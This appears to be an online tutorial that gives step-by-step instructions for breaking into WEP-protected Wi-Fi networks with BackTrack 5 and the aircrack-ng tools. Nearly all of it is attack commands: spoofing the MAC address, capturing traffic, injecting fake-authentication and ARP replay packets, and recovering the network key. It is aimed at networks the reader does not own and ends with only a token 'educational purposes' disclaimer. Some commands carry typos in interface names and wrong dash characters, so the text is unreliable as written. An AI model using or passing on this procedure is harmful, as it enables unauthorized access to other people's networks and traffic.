This Tutorial is all about hacking into a WEP protected Wifi Network....
Step One: Download Backtrack 5 R3
Download Link:
http://www.backtrack-linux.org/downloads/

Step Two:
Burn the downloaded iso image on CD and boot your laptop from CD drive

Step Three:
Select  the boot option.

Step Four:
Once in BT5, click the tiny black box in the lower left corner to load up a "Terminal" window.

Step Five:
Type the following command in the Terminal
airmon-ng


Step Six:
airmon-ng stop wifi0

Step Seven:
ifconfig swifi0 down

Step Eight:
macchanger --mac 00:11:22:33:44:55 wifi0


Step Nine:
airmon-ng start wifi0

Step Ten:
airodump-ng wifi0


This will start populating Wifi networks. Press Ctrl + C to stop.
Check the network with WEP encryption.
Notedown BSSID, CH and ESSID somewhere in notepad or paper.


Step Eleven:

airodump-ng -c (channel) -w (file name) --bssid (bssid) wifi0
Replace 
(channel) with the CH which u had already note 
(file name) with any name of your choice
(bssid) with the BSSID which u had already note



Leave this console as it is and start new console

Step Twelve:
aireplay-ng -1 0 -a (bssid) -h 00:11:22:33:44:55 wifi0


If you don’t get Association Successful message than keep on trying until you get success

Step Thirteen:
aireplay-ng -3 -b (bssid) -h 00:11:22:33:44:55 wifi0


Well if you don’t see ARP ACK and sent packets are not increasing or still 0 than it means no 1 is accessing that network.But don’t worry you got an optional step
Leave this console as it is and start new console


Step Fourteen:
aireplay-ng  -2 –p 0841 –c FF:FF:FF:FF:FF:FF –b (bssid) –h 00:11:22:33:44:55 wfi0
  
Press y and enter
Now you will see that ARP and ACK packets in 2nd console are increasing fast
Keep this console as it is and start 4th console

Step Fifteen:
aircrack-ng -b (bssid) (filename)-hello.cap
Just wait and watch…..Backtrack will do rest of the work.
Output After Step Fifteen
  
Enjoy... If You got the KEy




DISCLAMIER: THIS TUTORIAL IS ONLY FOR EDUCATIONAL PURPOSES NOT FOR ANY ILLEGAL ACTIVITES...

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